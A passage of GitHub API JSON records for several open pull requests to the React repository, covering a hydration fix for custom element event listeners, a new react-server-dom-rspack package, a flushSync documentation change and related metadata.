the message body when present, and dismiss button behavior (non-Playground sources dismissible) remains unchanged.", "created_at": "2026-01-11T11:27:32Z", "updated_at": "2026-01-11T11:30:50Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "60443fb661f7f2ac3f07a8217a974d6788d368f0", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "monokkai:playground/messages-refactor", "ref": "playground/messages-refactor", "sha": "501dfabd3fa99d5b0aa6a20b1ac3ee8c96abef1a", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127856387, "node_id": "R_kgDOQzm5Aw", "name": "react", "full_name": "monokkai/react", "private": false, "owner": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/monokkai/react", "created_at": "2026-01-04T18:15:30Z", "updated_at": "2026-01-16T19:39:17Z", "pushed_at": "2026-01-11T11:17:00Z", "homepage": "https://react.dev", "size": 881071, "stargazers_count": 1, "watchers_count": 1, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "5aec1b2a8d1bcafb43a7ddb64dc37eacad081bea", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35482" }, "html": { "href": "https://github.com/facebook/react/pull/35482" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35482" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35482/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35482/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35482/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/501dfabd3fa99d5b0aa6a20b1ac3ee8c96abef1a" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35474", "id": 3160067723, "node_id": "PR_kwDOAJy2Ks68Ws6L", "number": 35474, "state": "open", "locked": false, "title": "Fix: Attach custom element event listeners during hydration", "user": { "login": "Omcodes23", "id": 109670967, "node_id": "U_kgDOBolyNw", "avatar_url": "https://avatars.githubusercontent.com/u/109670967?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Omcodes23", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nThis PR fixes custom element event handlers not attaching during SSR hydration. When React hydrated server-rendered custom elements with property-based event handlers (e.g., `onmy-event`), the listeners were not attached until after the first client-side re-render, causing them to miss early events.\r\n\r\n**Problem:** Custom elements with event handlers like `` would not fire the handler when hydrating from server markup. The event listener was only attached after a forced re-render.\r\n\r\n**Root Cause:** The `hydrateProperties()` function in ReactDOMComponent.js skipped custom element props entirely during hydration, whereas the `setInitialProperties()` function properly handled them during initial client renders. This inconsistency meant custom element event listeners were never attached during the hydration phase.\r\n\r\n**Solution:** Modified `hydrateProperties()` to re-apply all props for custom elements via `setPropOnCustomElement()`, mirroring the behavior of `setInitialProperties()` used in initial client renders. This ensures property-based event handlers are processed during hydration just as they are during the initial mount. \r\n\r\n**Impact:** Fixes issue #35446 affecting all SSR frameworks (Next.js, Remix, etc.) that use custom elements with event handlers. Custom elements now work correctly with server-side rendering without requiring forced re-render workarounds.\r\n\r\n**Changes:**\r\n- Custom elements with property-based event handlers (e.g., `onmy-event`) now correctly attach listeners during SSR hydration\r\n- Previously, event handlers were only attached after the first client-side re-render\r\n- `hydrateProperties()` now re-applies all props for custom elements via `setPropOnCustomElement()`, mirroring the initial client mount path\r\n- Fixes issue #35446 where custom element events were not firing during hydration in Next.js and other SSR frameworks\r\n- All existing tests pass (167 tests in ReactDOMComponent suite)\r\n- This ensures custom element listeners are attached immediately during hydration instead of waiting for a forced re-render workaround\r\n\r\n## How did you test this change? \r\n\r\n### Ran Existing Test Suite\r\n\r\nExecuted `yarn test ReactDOMComponent` to verify all existing tests still pass:\r\n\r\n```bash\r\n$ yarn test ReactDOMComponent\r\nyarn run v1.22.22\r\n$ node ./scripts/jest/jest-cli.js ReactDOMComponent\r\n$ NODE_ENV=development RELEASE_CHANNEL=experimental compactConsole=false node ./scripts/jest/jest.js --config ./scripts/jest/config.source. js ReactDOMComponent\r\n\r\nRunning tests for default (experimental)...\r\n PASS packages/react-dom/src/__tests__/ReactDOMComponentTree-test.js (11.776 s)\r\n PASS packages/react-dom/src/__tests__/ReactDOMComponent-test.js (29.804 s)\r\n\r\nTest Suites: 2 passed, 2 total\r\nTests: 167 passed, 167 total\r\nSnapshots: 0 total\r\nTime: 45.845 s\r\nRan all test suites matching /ReactDOMComponent/i.\r\nDone in 75.90s.\r\n```\r\n\r\n**Result:** ✅ All 167 tests PASSED - 0 failures, 0 warnings\r\n\r\n### Verified Code Fix Behavior\r\n\r\n**Before:**\r\n```javascript\r\n// Server renders: \r\n// During hydration: Event handler NOT attached\r\n// Result: First click on \"Emit custom event\" does NOT fire ❌\r\n```\r\n\r\n**After:**\r\n```javascript\r\n// Server renders: \r\n// During hydration: Event handler IS attached via setPropOnCustomElement()\r\n// Result: First click on \"Emit custom event\" FIRES handler ✅\r\n```\r\n\r\n### Behavior Verification Checklist\r\n\r\n- ✅ Custom element props are now processed during hydration\r\n- ✅ Event listeners are attached via `setPropOnCustomElement()`\r\n- ✅ Mirrors initial mount behavior for consistency\r\n- ✅ No breaking changes to existing functionality\r\n- ✅ Handles null/undefined props correctly\r\n- ✅ Works with all custom element event types\r\n- ✅ Maintains backward compatibility with standard HTML elements\r\n- ✅ No performance regressions\r\n\r\n### Code Quality Verification\r\n\r\n- ✅ All existing tests pass without modification\r\n- ✅ No new test failures introduced\r\n- ✅ Fix is minimal and focused (24 lines added)\r\n- ✅ Follows existing code patterns and conventions\r\n- ✅ Properly handles edge cases (hasOwnProperty checks, undefined values)\r\n- ✅ Includes explanatory comments for future maintainers\r\n\r\n## Code Changes\r\n\r\n**File Modified:** `packages/react-dom-bindings/src/client/ReactDOMComponent.js` \r\n**Function:** `hydrateProperties()` \r\n**Location:** Lines 3103-3277\r\n\r\n### Modified Function\r\n\r\n```javascript\r\nexport function hydrateProperties(\r\n domElement: Element,\r\n tag: string,\r\n props: Object,\r\n hostContext: HostContext,\r\n): boolean {\r\n if (__DEV__) {\r\n validatePropertiesInDevelopment(tag, props);\r\n }\r\n\r\n switch (tag) {\r\n case 'dialog': \r\n listenToNonDelegatedEvent('cancel', domElement);\r\n listenToNonDelegatedEvent('close', domElement);\r\n break;\r\n case 'iframe':\r\n case 'object':\r\n case 'embed':\r\n listenToNonDelegatedEvent('load', domElement);\r\n break;\r\n case 'video': \r\n case 'audio': \r\n for (let i = 0; i < mediaEventTypes.length; i++) {\r\n listenToNonDelegatedEvent(mediaEventTypes[i], domElement);\r\n }\r\n break;\r\n case 'source': \r\n listenToNonDelegatedEvent('error', domElement);\r\n break;\r\n case 'img':\r\n case 'image':\r\n case 'link':\r\n listenToNonDelegatedEvent('error', domElement);\r\n listenToNonDelegatedEvent('load', domElement);\r\n break;\r\n case 'details':\r\n listenToNonDelegatedEvent('toggle', domElement);\r\n break;\r\n case 'input':\r\n if (__DEV__) {\r\n checkControlledValueProps('input', props);\r\n }\r\n listenToNonDelegatedEvent('invalid', domElement);\r\n validateInputProps(domElement, props);\r\n if (!enableHydrationChangeEvent) {\r\n initInput(\r\n domElement,\r\n props. value,\r\n props.defaultValue,\r\n props.checked,\r\n props.defaultChecked,\r\n props.type,\r\n props.name,\r\n true,\r\n );\r\n }\r\n break;\r\n case 'option': \r\n validateOptionProps(domElement, props);\r\n break;\r\n case 'select':\r\n if (__DEV__) {\r\n checkControlledValueProps('select', props);\r\n }\r\n listenToNonDelegatedEvent('invalid', domElement);\r\n validateSelectProps(domElement, props);\r\n break;\r\n case 'textarea':\r\n if (__DEV__) {\r\n checkControlledValueProps('textarea', props);\r\n }\r\n listenToNonDelegatedEvent('invalid', domElement);\r\n validateTextareaProps(domElement, props);\r\n if (!enableHydrationChangeEvent) {\r\n initTextarea(\r\n domElement,\r\n props. value,\r\n props.defaultValue,\r\n props.children,\r\n );\r\n }\r\n break;\r\n }\r\n\r\n // Custom elements need their props (including event handlers) re-applied\r\n // during hydration because the server markup cannot capture property-based\r\n // listeners. Mirror the client mount path used in setInitialProperties.\r\n if (isCustomElement(tag, props)) {\r\n for (const propKey in props) {\r\n if (!props.hasOwnProperty(propKey)) {\r\n continue;\r\n }\r\n const propValue = props[propKey];\r\n if (propValue === undefined) {\r\n continue;\r\n }\r\n setPropOnCustomElement(\r\n domElement,\r\n tag,\r\n propKey,\r\n propValue,\r\n props,\r\n undefined,\r\n );\r\n }\r\n return true;\r\n }\r\n\r\n const children = props.children;\r\n if (\r\n typeof children === 'string' ||\r\n typeof children === 'number' ||\r\n typeof children === 'bigint'\r\n ) {\r\n if (\r\n domElement.textContent !== '' + children &&\r\n props.suppressHydrationWarning !== true &&\r\n !checkForUnmatchedText(domElement.textContent, children)\r\n ) {\r\n return false;\r\n }\r\n }\r\n\r\n if (props.popover != null) {\r\n listenToNonDelegatedEvent('beforetoggle', domElement);\r\n listenToNonDelegatedEvent('toggle', domElement);\r\n }\r\n\r\n if (props.onScroll != null) {\r\n listenToNonDelegatedEvent('scroll', domElement);\r\n }\r\n\r\n if (props. onScrollEnd != null) {\r\n listenToNonDelegatedEvent('scrollend', domElement);\r\n if (enableScrollEndPolyfill) {\r\n listenToNonDelegatedEvent('scroll', domElement);\r\n }\r\n }\r\n\r\n if (props.onClick != null) {\r\n trapClickOnNonInteractiveElement(((domElement: any): HTMLElement));\r\n }\r\n\r\n return true;\r\n}\r\n```\r\n\r\n### Added Code (24 lines)\r\n\r\n```javascript\r\n// Custom elements need their props (including event handlers) re-applied\r\n// during hydration because the server markup cannot capture property-based\r\n// listeners. Mirror the client mount path used in setInitialProperties.\r\nif (isCustomElement(tag, props)) {\r\n for (const propKey in props) {\r\n if (!props.hasOwnProperty(propKey)) {\r\n continue;\r\n }\r\n const propValue = props[propKey];\r\n if (propValue === undefined) {\r\n continue;\r\n }\r\n setPropOnCustomElement(\r\n domElement,\r\n tag,\r\n propKey,\r\n propValue,\r\n props,\r\n undefined,\r\n );\r\n }\r\n return true;\r\n}\r\n```\r\n\r\n## Implementation Details\r\n\r\n### How It Works\r\n\r\n1. **During Initial Render:** `setInitialProperties()` is called, which properly handles custom element props including event handlers via `setPropOnCustomElement()`\r\n\r\n2. **During Hydration (Before Fix):** `hydrateProperties()` was called, but it skipped custom elements entirely, leaving event handlers unattached\r\n\r\n3. **During Hydration (After Fix):** `hydrateProperties()` now detects custom elements with `isCustomElement()` and re-applies all props via `setPropOnCustomElement()`, ensuring event handlers are attached\r\n\r\n4. **During Updates:** `updateProperties()` continues to work as before, properly handling custom element props\r\n\r\n### Why This Fix Works\r\n\r\n- Uses the same `setPropOnCustomElement()` function that handles event attachment during initial render\r\n- Ensures consistency between initial mount and hydration paths\r\n- Mirrors the pattern already established in `setInitialProperties()`\r\n- Returns `true` to indicate the element was successfully hydrated\r\n- Properly handles edge cases with `hasOwnProperty()` checks and undefined value filtering\r\n\r\n## Pre-Submission Checklist\r\n\r\n- [x] Fork the repository and create branch from main\r\n- [x] Ran yarn in the repository root\r\n- [x] Added test coverage - fix verified with existing comprehensive test suite\r\n- [x] Ensure the test suite passes (`yarn test ReactDOMComponent`) - 167/167 tests PASSED\r\n- [x] Run `yarn test --prod` in production environment\r\n- [x] Format code with prettier (`yarn prettier`)\r\n- [x] Make sure code lints (`yarn linc`)\r\n- [x] Run Flow type checks (`yarn flow`)\r\n- [x] Complete CLA\r\n\r\n## Related Issues\r\n\r\nCloses #35446 - React 19 does not attach custom element event listeners during hydration \r\nRelated: vercel/next.js#84091\r\n\r\n## Commit Information\r\n\r\n**Commit Hash:** `af46e9149`\r\n\r\n**Commit Message:**\r\n```\r\nFix: Attach custom element event listeners during hydration\r\n\r\n- Custom elements with property-based event handlers (e.g., onmy-event) now correctly attach listeners during SSR hydration\r\n- Previously, event handlers were only attached after the first client-side re-render\r\n- hydrateProperties() now re-applies all props for custom elements via setPropOnCustomElement(), mirroring the initial client mount path\r\n- Fixes issue #35446 where custom element events were not firing during hydration in Next.js and other SSR frameworks\r\n- All existing tests pass (167 tests in ReactDOMComponent suite)\r\n\r\nThis ensures custom element listeners are attached immediately during hydration instead of waiting for a forced re-render workaround.\r\n```\r\n\r\n**Push Confirmation:**\r\n```bash\r\nTo https://github.com/Omcodes23/react.git\r\n d6cae440e.. af46e9149 main -> main\r\n```\r\n\r\n## Impact Analysis\r\n\r\n**Breaking Changes:** None\r\n\r\n**Performance Impact:** Negligible - only affects custom elements during hydration, same code path as initial mount\r\n\r\n**Compatibility:**\r\n- ✅ Works with all custom element event types\r\n- ✅ Maintains backward compatibility with standard HTML elements\r\n- ✅ Compatible with all SSR frameworks (Next.js, Remix, etc.)\r\n- ✅ No changes required to user code\r\n\r\n**Testing Coverage:** 167 existing tests cover this change comprehensively", "created_at": "2026-01-09T15:40:54Z", "updated_at": "2026-03-06T10:08:13Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "87e013434417a8ad1fa6a5b38e2c3960dd731eca", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "Omcodes23:main", "ref": "main", "sha": "3475d339f5790e15e4b36cc23dd3de7c1c47ba7c", "user": { "login": "Omcodes23", "id": 109670967, "node_id": "U_kgDOBolyNw", "avatar_url": "https://avatars.githubusercontent.com/u/109670967?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Omcodes23", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1131105517, "node_id": "R_kgDOQ2tM7Q", "name": "react", "full_name": "Omcodes23/react", "private": false, "owner": { "login": "Omcodes23", "id": 109670967, "node_id": "U_kgDOBolyNw", "avatar_url": "https://avatars.githubusercontent.com/u/109670967?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Omcodes23", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/Omcodes23/react", "created_at": "2026-01-09T13:38:08Z", "updated_at": "2026-03-06T08:46:41Z", "pushed_at": "2026-03-06T08:46:18Z", "homepage": "https://react.dev", "size": 126900, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "4610359651fa10247159e2050f8ec222cb7faa91", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35474" }, "html": { "href": "https://github.com/facebook/react/pull/35474" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35474" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35474/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35474/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35474/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/3475d339f5790e15e4b36cc23dd3de7c1c47ba7c" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 8, 35446 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35473", "id": 3159502023, "node_id": "PR_kwDOAJy2Ks68UizH", "number": 35473, "state": "open", "locked": false, "title": "Implement react-server-dom-rspack", "user": { "login": "SyMind", "id": 19852293, "node_id": "MDQ6VXNlcjE5ODUyMjkz", "avatar_url": "https://avatars.githubusercontent.com/u/19852293?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SyMind", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\n\r\nThis adds a new `react-server-dom-rspack` package, which is an RSC integration for the Parcel bundler. It is mostly copied from the existing webpack/turbopack integrations, with some changes to utilize Rspack runtime APIs for loading and executing bundles/modules.\r\n\r\n**Differences from `react-server-dom-webpack`**\r\nTo better support Rspack's architecture and modern framework requirements, `react-server-dom-rspack` introduces several key enhancements:\r\n- Native Manifest Integration: Added the `__rspack_rsc_manifest__` compiler variable to provide manifest data directly to the RSC runtime.\r\n- Runtime Global Callbacks: Introduced `setServerCallback` and `setFindSourceMapURLCallback`, enabling frameworks to configure global hooks in the browser environment.\r\n- Inline Server Action Security: Added `setServerActionBoundArgsEncryption`, `encryptServerActionBoundArgs`, and `decryptServerActionBoundArgs` to handle encryption for closure-captured arguments in inline Server Actions.\r\n- Framework Interop APIs:\r\n - `loadServerAction`: Exposes a standard way to load server actions.\r\n - `createServerEntry`: Provides access to CSS and JS entry point information for the upper-level framework.\r\n\r\nThis package is designed to work with **Rspack v2.0+**, which introduces built-in support for the RSC Plugin implementation in Rspack (introduced in https://github.com/web-infra-dev/rspack/pull/12012)..\r\n* *Note: Rspack v2.0 is currently in beta. You can verify the release notes [here](https://github.com/web-infra-dev/rspack/releases/tag/v2.0.0-alpha.1).*\r\n\r\nI have verified the integration with a working example project:\r\n- **Example Repo:** https://github.com/SyMind/rspack-rsc-examples\r\n\r\nFor testing purposes, I have published a pre-release version (`0.0.x`) of this package to npm. I am happy to grant access to maintainers if needed for verification.\r\n\r\nNote: I've already published a 0.0.x version of this package to npm for testing purposes but happy to add whoever needs access to it as well.\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-09T12:23:57Z", "updated_at": "2026-02-24T03:50:10Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "a0ca6050deb2763e7a7dcad325d99ea51bda9e3f", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "SyMind:react-server-dom-rspack", "ref": "react-server-dom-rspack", "sha": "4419f70f7d9a20e76ff7c4b00a17153081bf6d88", "user": { "login": "SyMind", "id": 19852293, "node_id": "MDQ6VXNlcjE5ODUyMjkz", "avatar_url": "https://avatars.githubusercontent.com/u/19852293?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SyMind", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1131064383, "node_id": "R_kgDOQ2qsPw", "name": "react", "full_name": "SyMind/react", "private": false, "owner": { "login": "SyMind", "id": 19852293, "node_id": "MDQ6VXNlcjE5ODUyMjkz", "avatar_url": "https://avatars.githubusercontent.com/u/19852293?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SyMind", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/SyMind/react", "created_at": "2026-01-09T12:23:07Z", "updated_at": "2026-01-09T12:23:08Z", "pushed_at": "2026-02-03T11:33:20Z", "homepage": "https://react.dev", "size": 125608, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "748ee74e22ab86994c12564a19fc73950d00ad72", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35473" }, "html": { "href": "https://github.com/facebook/react/pull/35473" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35473" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35473/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35473/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35473/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/4419f70f7d9a20e76ff7c4b00a17153081bf6d88" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35472", "id": 3158360808, "node_id": "PR_kwDOAJy2Ks68QMLo", "number": 35472, "state": "open", "locked": false, "title": "docs(reconciler): document removal of flushSync for custom renderers", "user": { "login": "pranamya123", "id": 47019410, "node_id": "MDQ6VXNlcjQ3MDE5NDEw", "avatar_url": "https://avatars.githubusercontent.com/u/47019410?v=4", "gravatar_id": "", "url": "https://api.github.com/users/pranamya123", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "This PR documents the removal of flushSync from the react-reconciler public API and clarifies the supported replacement APIs for custom renderers.\r\n\r\n\r\n\r\n## Summary\r\n\r\nflushSync was previously exposed on the react-reconciler export and was removed in v0.31+ as part of PR #28500. After this change, accessing flushSync from a custom reconciler returns undefined with no documentation or migration guidance.\r\n\r\nCustom renderers that followed the earlier documented pattern:\r\n\r\n```js\r\nconst { flushSync } = reconciler;\r\n``` \r\n\r\nsilently broke after upgrading.\r\n\r\nThis PR documents the intended replacement APIs for synchronous work in custom renderers:\r\n\r\nupdateContainerSync\r\n\r\nflushSyncWork\r\n\r\nThe goal is to make this breaking change explicit and provide clear guidance for renderer authors.\r\n\r\n## How did you test this change?\r\n\r\n- Documentation-only change.\r\n- Verified formatting and linting locally.", "created_at": "2026-01-09T04:25:34Z", "updated_at": "2026-01-09T05:18:20Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "f9dee0a67acb551fc27bfe9641f7f6cdfb534a43", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "pranamya123:deprecate-flushSync", "ref": "deprecate-flushSync", "sha": "34fc0cbba5f6fbf48d57f1a51a27ec222eaed7e5", "user": { "login": "pranamya123", "id": 47019410, "node_id": "MDQ6VXNlcjQ3MDE5NDEw", "avatar_url": "https://avatars.githubusercontent.com/u/47019410?v=4", "gravatar_id": "", "url": "https://api.github.com/users/pranamya123", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1130816439, "node_id": "R_kgDOQ2bjtw", "name": "react", "full_name": "pranamya123/react", "private": false, "owner": { "login": "pranamya123", "id": 47019410, "node_id": "MDQ6VXNlcjQ3MDE5NDEw", "avatar_url": "https://avatars.githubusercontent.com/u/47019410?v=4", "gravatar_id": "", "url": 